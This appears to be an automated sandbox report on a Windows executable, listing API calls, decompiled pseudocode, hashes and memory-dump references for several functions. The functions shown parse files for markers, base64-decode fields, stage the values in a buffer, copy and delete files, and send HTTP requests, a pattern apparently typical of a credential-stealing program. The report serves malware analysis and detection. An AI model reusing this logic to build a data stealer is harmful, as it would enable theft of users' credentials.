GetProcessHeap.KERNEL32(00000000,?), ref: 004751FF
RtlAllocateHeap.NTDLL(00000000), ref: 00475206
lstrlen.KERNEL32(?), ref: 00475219
memcpy.NTDLL(?,?,00000000), ref: 0047522E
lstrlen.KERNEL32(?,?,?), ref: 00475243
memcpy.NTDLL(?), ref: 00475250
lstrlen.KERNEL32(?), ref: 0047525D
lstrlen.KERNEL32(?,?,00000000), ref: 00475272
memcpy.NTDLL(?), ref: 00475282
lstrlen.KERNEL32(?,?,?), ref: 004752C1
HttpSendRequestA.WININET(00000000,?,00000000), ref: 004752D6
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 004752F5
StrCmpCA.SHLWAPI(?,00418B8C), ref: 0047530B
Sleep.KERNEL32(00007530), ref: 0047531C
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0047536D
lstrcat.KERNEL32(?,00000000), ref: 004753A9
InternetCloseHandle.WININET(?), ref: 004753B8
InternetCloseHandle.WININET(?), ref: 004753C5
InternetCloseHandle.WININET(00000000), ref: 004753D2

Strings

Ug, xrefs: 004750BA, 004750C0
@pe, xrefs: 00474F82, 00474F88

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: lstrcat$Internet$lstrlen$HeapHttp$CloseHandleOpenRequestmemcpy$AllocateConnectProcess$FileInfoOptionQueryReadSendSleep
String ID: Ug$@pe
API String ID: 3074752877-1756204403
Opcode ID: 3fd957372ece58c1ff5bf28ab583384af2cc8a0d24938a39976a5e03bacea6dd
Instruction ID: d5d31728abbe2c0c437ed8b7cad1238a89fdfe8ca87ff1f7688145519d46a4e8
Opcode Fuzzy Hash: 3fd957372ece58c1ff5bf28ab583384af2cc8a0d24938a39976a5e03bacea6dd
Instruction Fuzzy Hash: C4F188B5A41218AFCB20DFA0DD48FDA7779BF48704F0085D9F209A7151CB78AA94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00409060, Relevance: 66.7, APIs: 34, Strings: 4, Instructions: 236
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E00409060(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				long _v8;
				intOrPtr _v12;
				char* _v16;
				char _v284;
				char* _v288;
				void* _v292;
				char* _v296;
				struct _OVERLAPPED* _v300;
				long _v304;
				char* _v308;
				intOrPtr _t59;
				char* _t72;
				intOrPtr _t88;
				intOrPtr _t90;
				intOrPtr _t93;
				intOrPtr _t96;
				char* _t98;
				char* _t99;
				intOrPtr _t104;
				intOrPtr _t108;
				char* _t110;
				char* _t111;
				intOrPtr _t116;
				void* _t118;
				intOrPtr _t120;
				char* _t129;
				char* _t130;
				intOrPtr _t131;
				intOrPtr _t132;
				intOrPtr _t133;
				intOrPtr _t134;
				char* _t136;
				char* _t140;
				intOrPtr _t147;
				char* _t152;
				intOrPtr _t156;
				intOrPtr _t157;
				intOrPtr _t159;
				intOrPtr _t160;
				char* _t163;
				intOrPtr _t164;
				intOrPtr _t165;
				char* _t168;
				intOrPtr _t169;
				intOrPtr _t170;
				void* _t173;
				void* _t174;
				void* _t175;
				void* _t176;

				_t59 =  *0x41a81c(_a12);
				_t174 = _t173 + 4;
				if(_t59 == 0) {
					_t59 = E0040B650(__ecx, 0x41a7f0);
					_t175 = _t174 + 4;
					_v12 = _t59;
					if(_v12 < 0x20) {
						E0040B720( &_v284, 0x104);
						 *0x41aa24( &_v284, _a12);
						 *0x41aa24( &_v284, 0x414018);
						_t147 =  *0x41a7e4; // 0x677b10
						 *0x41aa24( &_v284, _t147);
						_v304 = 0;
						_v300 = 0;
						_v292 = CreateFileA( &_v284, 0x80000000, 1, 0, 3, 0, 0);
						if(_v292 == 0) {
							L7:
							return  *0x41a840();
						}
						SetFilePointer(_v292, 0, 0, 2);
						_v304 = GetFileSize(_v292, 0);
						SetFilePointer(_v292, 0, 0, 0);
						_t72 = E0040B590(_v292, _v304 + 1);
						_t176 = _t175 + 4;
						_v308 = _t72;
						_v16 = _v308;
						ReadFile(_v292, _v16, _v304,  &_v8, 0);
						while(1) {
							_t152 =  *0x41a170; // 0x677c30
							_v296 = StrStrA(_v16, _t152);
							_t182 = _v296;
							if(_v296 == 0) {
								break;
							}
							_t129 =  *0x41a170; // 0x677c30
							_t31 =  *0x41a908(_t129) + 3; // 0x3
							_v296 =  &(_v296[_t31]);
							_t130 =  *0x41a3b0; // 0x677cf0
							_v288 = StrStrA(_v296, _t130) - 3;
							 *_v288 = 0;
							_t131 =  *0x41a334; // 0x675738
							_t156 =  *0x41a838; // 0x0
							 *0x41aa24(_t156, _t131);
							_t132 =  *0x41a838; // 0x0
							 *0x41aa24(_t132, _a8);
							_t157 =  *0x41a838; // 0x0
							 *0x41aa24(_t157, "\n");
							_t88 =  *0x41a37c; // 0x675708
							_t133 =  *0x41a838; // 0x0
							 *0x41aa24(_t133, _t88);
							_t90 =  *0x41a838; // 0x0
							 *0x41aa24(_t90, _a4);
							_t134 =  *0x41a838; // 0x0
							 *0x41aa24(_t134, "\n");
							_t159 =  *0x41a144; // 0x6757f8
							_t93 =  *0x41a838; // 0x0
							 *0x41aa24(_t93, _t159);
							_t160 =  *0x41a838; // 0x0
							 *0x41aa24(_t160, _v296);
							_t96 =  *0x41a838; // 0x0
							 *0x41aa24(_t96, "\n");
							_t136 =  *0x41a5b8; // 0x678878
							_t98 = StrStrA(_v288 + 1, _t136);
							_t99 =  *0x41a5b8; // 0x678878
							_t41 =  *0x41a908(_t99) + 3; // 0x3
							_v296 =  &(_t98[_t41]);
							_t163 =  *0x41a5b4; // 0x678658
							_v288 = StrStrA(_v296, _t163) - 3;
							 *_v288 = 0;
							_t164 =  *0x41a06c; // 0x6756b8
							_t104 =  *0x41a838; // 0x0
							 *0x41aa24(_t104, _t164);
							_t165 =  *0x41a838; // 0x0
							 *0x41aa24(_t165, E004077A0(_v296, _t182, _v296));
							_t108 =  *0x41a838; // 0x0
							 *0x41aa24(_t108, "\n");
							_t140 =  *0x41a5b4; // 0x678658
							_t110 = StrStrA(_v288 + 1, _t140);
							_t111 =  *0x41a5b4; // 0x678658
							_t49 =  *0x41a908(_t111) + 3; // 0x3
							_v296 =  &(_t110[_t49]);
							_t168 =  *0x41a70c; // 0x678b90
							_v288 = StrStrA(_v296, _t168) - 3;
							 *_v288 = 0;
							_t169 =  *0x41a14c; // 0x675848
							_t116 =  *0x41a838; // 0x0
							 *0x41aa24(_t116, _t169);
							_t118 = E004077A0(_v296, _t182, _v296);
							_t176 = _t176 + 8;
							_t170 =  *0x41a838; // 0x0
							 *0x41aa24(_t170, _t118);
							_t120 =  *0x41a838; // 0x0
							 *0x41aa24(_t120, "\n\n");
							_v16 = _v288 + 1;
						}
						CloseHandle(_v292);
						goto L7;
					}
				}
				return _t59;
			}

0x0040906e
0x00409074
0x00409079
0x00409084
0x00409089
0x0040908c
0x00409093
0x004090a5
0x004090b5
0x004090c7
0x004090cd
0x004090db
0x004090e1
0x004090eb
0x00409111
0x0040911e
0x004093f3
0x00000000
0x004093f3
0x00409131
0x00409146
0x00409159
0x00409169
0x0040916e
0x00409171
0x0040917d
0x00409198
0x0040919e
0x0040919e
0x004091af
0x004091b5
0x004091bc
0x00000000
0x00000000
0x004091c2
0x004091d5
0x004091d9
0x004091df
0x004091f6
0x00409202
0x00409205
0x0040920c
0x00409213
0x0040921d
0x00409224
0x0040922f
0x00409236
0x0040923c
0x00409242
0x00409249
0x00409253
0x00409259
0x00409264
0x0040926b
0x00409271
0x00409278
0x0040927e
0x0040928b
0x00409292
0x0040929d
0x004092a3
0x004092a9
0x004092ba
0x004092c2
0x004092ce
0x004092d2
0x004092d8
0x004092ef
0x004092fb
0x004092fe
0x00409305
0x0040930b
0x00409321
0x00409328
0x00409333
0x00409339
0x0040933f
0x00409350
0x00409358
0x00409364
0x00409368
0x0040936e
0x00409385
0x00409391
0x00409394
0x0040939b
0x004093a1
0x004093ae
0x004093b3
0x004093b7
0x004093be
0x004093c9
0x004093cf
0x004093de
0x004093de
0x004093ed
0x00000000
0x004093ed
0x00409093
0x004093fd

APIs

lstrcat.KERNEL32(?,00676E90), ref: 004090B5
lstrcat.KERNEL32(?,00414018), ref: 004090C7
lstrcat.KERNEL32(?,00677B10), ref: 004090DB
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040910B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00409131
GetFileSize.KERNEL32(00000000,00000000), ref: 00409140
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00409159
new[].LIBCMTD ref: 00409169
ReadFile.KERNEL32(00000000,?,00000000,00000001,00000000), ref: 00409198
StrStrA.SHLWAPI(?,00677C30), ref: 004091A9
lstrlen.KERNEL32(00677C30), ref: 004091C9
StrStrA.SHLWAPI(00000000,00677CF0), ref: 004091ED
lstrcat.KERNEL32(00000000,00675738), ref: 00409213
lstrcat.KERNEL32(00000000,?), ref: 00409224
lstrcat.KERNEL32(00000000,00418BC4), ref: 00409236
lstrcat.KERNEL32(00000000,00675708), ref: 00409249
lstrcat.KERNEL32(00000000,00000020), ref: 00409259
lstrcat.KERNEL32(00000000,00418BC4), ref: 0040926B
lstrcat.KERNEL32(00000000,006757F8), ref: 0040927E
lstrcat.KERNEL32(00000000,00000000), ref: 00409292
lstrcat.KERNEL32(00000000,00418BC4), ref: 004092A3
StrStrA.SHLWAPI(?,00678878), ref: 004092BA
lstrlen.KERNEL32(00678878), ref: 004092C8
StrStrA.SHLWAPI(00000000,00678658), ref: 004092E6
lstrcat.KERNEL32(00000000,006756B8), ref: 0040930B

Part of subcall function 004077A0: lstrlen.KERNEL32(0040931D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004077EB
Part of subcall function 004077A0: CryptStringToBinaryA.CRYPT32(0040931D,00000000), ref: 004077F6

lstrcat.KERNEL32(00000000,00000000), ref: 00409328
lstrcat.KERNEL32(00000000,00418BC4), ref: 00409339
StrStrA.SHLWAPI(?,00678658), ref: 00409350
lstrlen.KERNEL32(00678658), ref: 0040935E
StrStrA.SHLWAPI(00000000,00678B90), ref: 0040937C
lstrcat.KERNEL32(00000000,00675848), ref: 004093A1

Part of subcall function 004077A0: lstrcat.KERNEL32(?,0041401A), ref: 004078B9
Part of subcall function 004077A0: lstrcat.KERNEL32(?,0041401A), ref: 004078CD
Part of subcall function 004077A0: lstrcat.KERNEL32(0041401A,0041401A), ref: 004078EE

lstrcat.KERNEL32(00000000,00000000), ref: 004093BE
lstrcat.KERNEL32(00000000,00418BC0), ref: 004093CF
CloseHandle.KERNEL32(00000000), ref: 004093ED

Strings

HXg, xrefs: 00409394
0|g, xrefs: 0040919E, 004091C2
, xrefs: 0040908F
8Wg, xrefs: 00409205

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: lstrcat$File$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringnew[]
String ID: $0|g$8Wg$HXg
API String ID: 3141130001-2003106986
Opcode ID: df42f65cbb9f4ef5ec5817f12034b5c5c40bbaebf792a49d049cd6d98f07f5e0
Instruction ID: 7e99e970e00657f65ab1c061739f90e233e970cfeaa3462852b2302322d486d4
Opcode Fuzzy Hash: df42f65cbb9f4ef5ec5817f12034b5c5c40bbaebf792a49d049cd6d98f07f5e0
Instruction Fuzzy Hash: 58A11AB5A11204AFC715EBA4DD88FDA77F9EB4C304F00C5A9F60993291C738A9A1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004792B0, Relevance: 66.7, APIs: 34, Strings: 4, Instructions: 236stringfileCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0041A0C4), ref: 00479305
lstrcat.KERNEL32(?,00414018), ref: 00479317
lstrcat.KERNEL32(?,0041A7E4), ref: 0047932B
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0047935B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00479381
GetFileSize.KERNEL32(00000000,00000000), ref: 00479390
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 004793A9
new[].LIBCMTD ref: 004793B9
ReadFile.KERNEL32(00000000,?,00000000,0041ABA8,00000000), ref: 004793E8
StrStrA.SHLWAPI(?,0|g), ref: 004793F9
lstrlen.KERNEL32(0|g), ref: 00479419
StrStrA.SHLWAPI(00000000,0041A3B0), ref: 0047943D
lstrcat.KERNEL32(0041A838,8Wg), ref: 00479463
lstrcat.KERNEL32(0041A838,?), ref: 00479474
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00479486
lstrcat.KERNEL32(0041A838,0041A37C), ref: 00479499
lstrcat.KERNEL32(0041A838,00000020), ref: 004794A9
lstrcat.KERNEL32(0041A838,00418BC4), ref: 004794BB
lstrcat.KERNEL32(0041A838,0041A144), ref: 004794CE
lstrcat.KERNEL32(0041A838,00000000), ref: 004794E2
lstrcat.KERNEL32(0041A838,00418BC4), ref: 004794F3
StrStrA.SHLWAPI(?,0041A5B8), ref: 0047950A
lstrlen.KERNEL32(0041A5B8), ref: 00479518
StrStrA.SHLWAPI(00000000,0041A5B4), ref: 00479536
lstrcat.KERNEL32(0041A838,0041A06C), ref: 0047955B

Part of subcall function 004779F0: lstrlen.KERNEL32(0047956D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 00477A3B
Part of subcall function 004779F0: CryptStringToBinaryA.CRYPT32(0047956D,00000000), ref: 00477A46

lstrcat.KERNEL32(0041A838,00000000), ref: 00479578
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00479589
StrStrA.SHLWAPI(?,0041A5B4), ref: 004795A0
lstrlen.KERNEL32(0041A5B4), ref: 004795AE
StrStrA.SHLWAPI(00000000,0041A70C), ref: 004795CC
lstrcat.KERNEL32(0041A838,HXg), ref: 004795F1

Part of subcall function 004779F0: lstrcat.KERNEL32(?,0041401A), ref: 00477B09
Part of subcall function 004779F0: lstrcat.KERNEL32(?,0041401A), ref: 00477B1D
Part of subcall function 004779F0: lstrcat.KERNEL32(0041401A,0041401A), ref: 00477B3E

lstrcat.KERNEL32(0041A838,00000000), ref: 0047960E
lstrcat.KERNEL32(0041A838,00418BC0), ref: 0047961F
CloseHandle.KERNEL32(00000000), ref: 0047963D

Strings

HXg, xrefs: 004795E4, 004795EA
, xrefs: 004792DF
8Wg, xrefs: 00479455, 0047945B
0|g, xrefs: 004793EE, 004793F4, 00479412, 00479418

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: lstrcat$File$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringnew[]
String ID: $0|g$8Wg$HXg
API String ID: 3141130001-2003106986
Opcode ID: ac1a501cdbda92d70ea82fc89cedc036c1a3fcebaa1d84251d868b40488cc35a
Instruction ID: 881bf444514fc11743151c55e53d0b22c2d4837e26343122d58bd98ec1a741c0
Opcode Fuzzy Hash: ac1a501cdbda92d70ea82fc89cedc036c1a3fcebaa1d84251d868b40488cc35a
Instruction Fuzzy Hash: 74A12AB5A11204AFCB15EBA4DD88FDA77F9EB4C304F00C5A9F60993251C738A9A1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00477FA0, Relevance: 54.5, APIs: 30, Strings: 1, Instructions: 284stringmemoryfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 00477FB5
lstrcat.KERNEL32(?,00414018), ref: 00477FC7

Part of subcall function 0047BB00: GetSystemTime.KERNEL32(?,?,00000104), ref: 0047BB21

lstrcat.KERNEL32(?,00000000), ref: 00477FDF
CopyFileA.KERNEL32(00000000,?,00000001), ref: 00477FF2
wsprintfA.USER32 ref: 0047801F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0047806F
RtlAllocateHeap.NTDLL(00000000), ref: 00478076
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00478122
lstrcat.KERNEL32(?,hXg), ref: 00478149
lstrcat.KERNEL32(?,0041A15C), ref: 0047816E
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00478180
lstrcat.KERNEL32(?,hXg), ref: 004781A8
lstrcat.KERNEL32(?,0041A15C), ref: 004781CE

Part of subcall function 00477480: memset.MSVCRT ref: 004774D2
Part of subcall function 00477480: LocalAlloc.KERNEL32(00000040,?), ref: 00477521
Part of subcall function 00477480: lstrcat.KERNEL32(?,00000000), ref: 00477587

lstrcat.KERNEL32(?,00418BE0), ref: 004781FE
lstrcat.KERNEL32(?,?), ref: 00478212
lstrcat.KERNEL32(?,004191EC), ref: 00478224
lstrcat.KERNEL32(?,?), ref: 00478238
lstrcat.KERNEL32(?,004191EC), ref: 0047824A
lstrcat.KERNEL32(?,?), ref: 0047825E
lstrcat.KERNEL32(?,004191EC), ref: 00478270
lstrcat.KERNEL32(?,?), ref: 00478284
lstrcat.KERNEL32(?,004191EC), ref: 00478296
lstrcat.KERNEL32(?,?), ref: 004782AA
lstrcat.KERNEL32(?,004191EC), ref: 004782BC
lstrcat.KERNEL32(?,?), ref: 004782D0
lstrcat.KERNEL32(?,004191EC), ref: 004782E2
lstrcat.KERNEL32(?,00000000), ref: 00478320
lstrcat.KERNEL32(?,00418BC4), ref: 00478332
lstrlen.KERNEL32(?), ref: 00478344
DeleteFileA.KERNEL32(?), ref: 00478394

Strings

hXg, xrefs: 0047813C, 00478141, 0047819A, 004781A0

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAllocateCopyCurrentDeleteDirectoryLocalProcessSystemTimelstrlenmemsetwsprintf
String ID: hXg
API String ID: 3067815791-405889069
Opcode ID: ffd5550d78d5c5cbcce8ec1d2f464851c7de5c2aa3a5bccb6b89eb1b96e4b4a3
Instruction ID: a9a009fecd956b90fe71fe819141143578abb4dd16900dcfb81b71fc35f36fd6
Opcode Fuzzy Hash: ffd5550d78d5c5cbcce8ec1d2f464851c7de5c2aa3a5bccb6b89eb1b96e4b4a3
Instruction Fuzzy Hash: 14B1C7B5A41208BBCB10EBA4DD8DFEA77B8AF4C704F008599F20997151C738DAA1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408C00, Relevance: 42.3, APIs: 22, Strings: 2, Instructions: 284stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00408C2F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408C7C
RtlAllocateHeap.NTDLL(00000000), ref: 00408C83
lstrcat.KERNEL32(?,00675868), ref: 00408DEA
lstrcat.KERNEL32(?,00675818), ref: 00408E10
lstrcat.KERNEL32(?,00675868), ref: 00408EC8
lstrcat.KERNEL32(?,00675818), ref: 00408EEE
lstrcat.KERNEL32(?,?), ref: 00408F02
lstrcat.KERNEL32(?,004191EC), ref: 00408F14
lstrcat.KERNEL32(?,?), ref: 00408F28
lstrcat.KERNEL32(?,004191EC), ref: 00408F3A
lstrcat.KERNEL32(?,?), ref: 00408F4E
lstrcat.KERNEL32(?,004191EC), ref: 00408F60
lstrcat.KERNEL32(?,?), ref: 00408F74
lstrcat.KERNEL32(?,004191EC), ref: 00408F86
lstrcat.KERNEL32(?,?), ref: 00408F9A
lstrcat.KERNEL32(?,004191EC), ref: 00408FAC
lstrcat.KERNEL32(?,?), ref: 00408FC0
lstrcat.KERNEL32(?,004191EC), ref: 00408FD2
lstrcat.KERNEL32(?,?), ref: 00408FE6
lstrcat.KERNEL32(?,00418BC4), ref: 00408FF8
lstrlen.KERNEL32(?), ref: 0040900A

Strings

hXg, xrefs: 00408DDC, 00408EBA
h(g, xrefs: 00408C59

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID: h(g$hXg
API String ID: 3196222039-771256492
Opcode ID: 6dacb75ba653f75164e28080b6dceb7eab12ac0dfcc8a2e54bcf7afa2522e244
Instruction ID: 37d9e65b1a1885b2021265d91926de593cb986df4567ec96dbdd6e639e599f41
Opcode Fuzzy Hash: 6dacb75ba653f75164e28080b6dceb7eab12ac0dfcc8a2e54bcf7afa2522e244
Instruction Fuzzy Hash: A6C164B1A01218AFCB24DF64DD89BDE77B5AF48704F0081D9F609A7291CB399E90CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00478E50, Relevance: 42.3, APIs: 22, Strings: 2, Instructions: 284stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00478E7F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00478ECC
RtlAllocateHeap.NTDLL(00000000), ref: 00478ED3
lstrcat.KERNEL32(?,hXg), ref: 0047903A
lstrcat.KERNEL32(?,0041A15C), ref: 00479060
lstrcat.KERNEL32(?,hXg), ref: 00479118
lstrcat.KERNEL32(?,0041A15C), ref: 0047913E
lstrcat.KERNEL32(?,?), ref: 00479152
lstrcat.KERNEL32(?,004191EC), ref: 00479164
lstrcat.KERNEL32(?,?), ref: 00479178
lstrcat.KERNEL32(?,004191EC), ref: 0047918A
lstrcat.KERNEL32(?,?), ref: 0047919E
lstrcat.KERNEL32(?,004191EC), ref: 004791B0
lstrcat.KERNEL32(?,?), ref: 004791C4
lstrcat.KERNEL32(?,004191EC), ref: 004791D6
lstrcat.KERNEL32(?,?), ref: 004791EA
lstrcat.KERNEL32(?,004191EC), ref: 004791FC
lstrcat.KERNEL32(?,?), ref: 00479210
lstrcat.KERNEL32(?,004191EC), ref: 00479222
lstrcat.KERNEL32(?,?), ref: 00479236
lstrcat.KERNEL32(?,00418BC4), ref: 00479248
lstrlen.KERNEL32(?), ref: 0047925A

Strings

h(g, xrefs: 00478EA9, 00478EAF
hXg, xrefs: 0047902C, 00479032, 0047910A, 00479110

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID: h(g$hXg
API String ID: 3196222039-771256492
Opcode ID: b972705f4d408f59d57428f6ec2d7c38fe99164d5a1f279b6c3d9cc0b8fe5810
Instruction ID: 412487dc878f65473621f3cbf97f532433bcad63e9a3afc0de2f7786f1b045a2
Opcode Fuzzy Hash: b972705f4d408f59d57428f6ec2d7c38fe99164d5a1f279b6c3d9cc0b8fe5810
Instruction Fuzzy Hash: FCC171B1A01218AFCB24DF64DD89BEE77B5AF48704F0081D9F209A7251C7399E90CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00477D10, Relevance: 42.2, APIs: 21, Strings: 3, Instructions: 174stringfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,00478AFE,?,?,0041ABAC,00000000,00000000), ref: 00477D29
lstrcat.KERNEL32(?,00414018), ref: 00477D3B

Part of subcall function 0047BB00: GetSystemTime.KERNEL32(?,?,00000104), ref: 0047BB21

lstrcat.KERNEL32(?,00000000), ref: 00477D53
CopyFileA.KERNEL32(?,?,00000001), ref: 00477D66
DeleteFileA.KERNEL32(?), ref: 00477F8C

Part of subcall function 00477480: memset.MSVCRT ref: 004774D2
Part of subcall function 00477480: LocalAlloc.KERNEL32(00000040,?), ref: 00477521
Part of subcall function 00477480: lstrcat.KERNEL32(?,00000000), ref: 00477587

lstrcat.KERNEL32(?,00000000), ref: 00477E47
lstrcat.KERNEL32(0041A838,8Wg), ref: 00477E5B
lstrcat.KERNEL32(0041A838,?), ref: 00477E6C
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00477E7E
lstrcat.KERNEL32(0041A838,0041A37C), ref: 00477E91
lstrcat.KERNEL32(0041A838,?), ref: 00477EA1
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00477EB3
lstrcat.KERNEL32(0041A838,0041A144), ref: 00477EC6
lstrcat.KERNEL32(0041A838,?), ref: 00477EDA
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00477EEB
lstrcat.KERNEL32(0041A838,0041A06C), ref: 00477EFF
lstrcat.KERNEL32(0041A838,?), ref: 00477F13
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00477F25
lstrcat.KERNEL32(0041A838,HXg), ref: 00477F38
lstrcat.KERNEL32(0041A838,?), ref: 00477F4B
lstrcat.KERNEL32(0041A838,00418BC0), ref: 00477F5D

Strings

HXg, xrefs: 00477F2B, 00477F30
8Wg, xrefs: 00477E4D, 00477E53
(g, xrefs: 00477D93, 00477D99

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: lstrcat$File$AllocCopyCurrentDeleteDirectoryLocalSystemTimememset
String ID: (g$8Wg$HXg
API String ID: 3522136165-2782347855
Opcode ID: 2e624d91b4c54302e4a69fc95ab7cc2408cdea3b369d4b7b1ddfcb14965c28a0
Instruction ID: d621826624739887bf6d4ff7404dc13b50e816adc7306e12d4f71d1caeb6cc1b
Opcode Fuzzy Hash: 2e624d91b4c54302e4a69fc95ab7cc2408cdea3b369d4b7b1ddfcb14965c28a0
Instruction Fuzzy Hash: D86142B1611104AFC714EBA4EE49DEA37F8EF4C705F008569F60983261D778EA61CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00405420, Relevance: 39.2, APIs: 18, Strings: 8, Instructions: 180
stringCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00405420(void* __ecx) {
				char _v268;
				char _v532;
				char _v796;
				char _v1060;
				char _v1324;
				char _v1588;
				intOrPtr _t45;
				intOrPtr _t50;
				intOrPtr _t55;
				intOrPtr _t60;
				intOrPtr _t65;
				intOrPtr _t70;
				intOrPtr _t75;
				intOrPtr _t80;
				intOrPtr _t97;
				intOrPtr _t99;
				intOrPtr _t101;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t116;
				intOrPtr _t118;
				intOrPtr _t120;
				intOrPtr _t122;
				intOrPtr _t124;
				intOrPtr _t126;
				intOrPtr _t128;
				intOrPtr _t130;

				E0040B720( &_v1324, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B720( &_v796, 0x104);
				E0040B720( &_v1588, 0x104);
				E0040B720( &_v532, 0x104);
				E0040B720( &_v1060, 0x104);
				_t45 =  *0x41a368; // 0x6720f0
				 *0x41aa24( &_v1324, _t45);
				_t116 =  *0x41a7c4; // 0x674fe0
				 *0x41aa24( &_v1324, _t116);
				_t97 =  *0x41a11c; // 0x676038
				 *0x41aa24( &_v1324, _t97);
				_t50 =  *0x41a368; // 0x6720f0
				 *0x41aa24( &_v268, _t50);
				_t118 =  *0x41a7c4; // 0x674fe0
				 *0x41aa24( &_v268, _t118);
				_t99 =  *0x41a3b4; // 0x676008
				 *0x41aa24( &_v268, _t99);
				_t55 =  *0x41a368; // 0x6720f0
				 *0x41aa24( &_v796, _t55);
				_t120 =  *0x41a7c4; // 0x674fe0
				 *0x41aa24( &_v796, _t120);
				_t101 =  *0x41a090; // 0x676080
				 *0x41aa24( &_v796, _t101);
				_t60 =  *0x41a368; // 0x6720f0
				 *0x41aa24( &_v1588, _t60);
				_t122 =  *0x41a7c4; // 0x674fe0
				 *0x41aa24( &_v1588, _t122);
				_t103 =  *0x41a604; // 0x676020
				 *0x41aa24( &_v1588, _t103);
				_t65 =  *0x41a368; // 0x6720f0
				 *0x41aa24( &_v532, _t65);
				_t124 =  *0x41a7c4; // 0x674fe0
				 *0x41aa24( &_v532, _t124);
				_t105 =  *0x41a630; // 0x676170
				 *0x41aa24( &_v532, _t105);
				_t70 =  *0x41a368; // 0x6720f0
				 *0x41aa24( &_v1060, _t70);
				_t126 =  *0x41a7c4; // 0x674fe0
				 *0x41aa24( &_v1060, _t126);
				_t107 =  *0x41a674; // 0x674f60
				 *0x41aa24( &_v1060, _t107);
				_t75 =  *0x41a2f0; // 0x677318
				_t108 =  &_v1324;
				E004049E0( &_v1324,  &_v1324, _t75);
				_t128 =  *0x41a650; // 0x677228
				E004049E0(_t108,  &_v268, _t128);
				_t109 =  *0x41a220; // 0x677138
				E004049E0(_t109,  &_v796, _t109);
				_t80 =  *0x41a6cc; // 0x675080
				_t110 =  &_v1588;
				E004049E0( &_v1588,  &_v1588, _t80);
				_t130 =  *0x41a4a8; // 0x677160
				E004049E0(_t110,  &_v532, _t130);
				_t111 =  *0x41a700; // 0x676eb8
				E004049E0(_t111,  &_v1060, _t111);
				E0040B720( &_v1324, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B720( &_v796, 0x104);
				E0040B720( &_v1588, 0x104);
				E0040B720( &_v532, 0x104);
				return E0040B720( &_v1060, 0x104);
			}

0x00405435
0x00405446
0x00405457
0x00405468
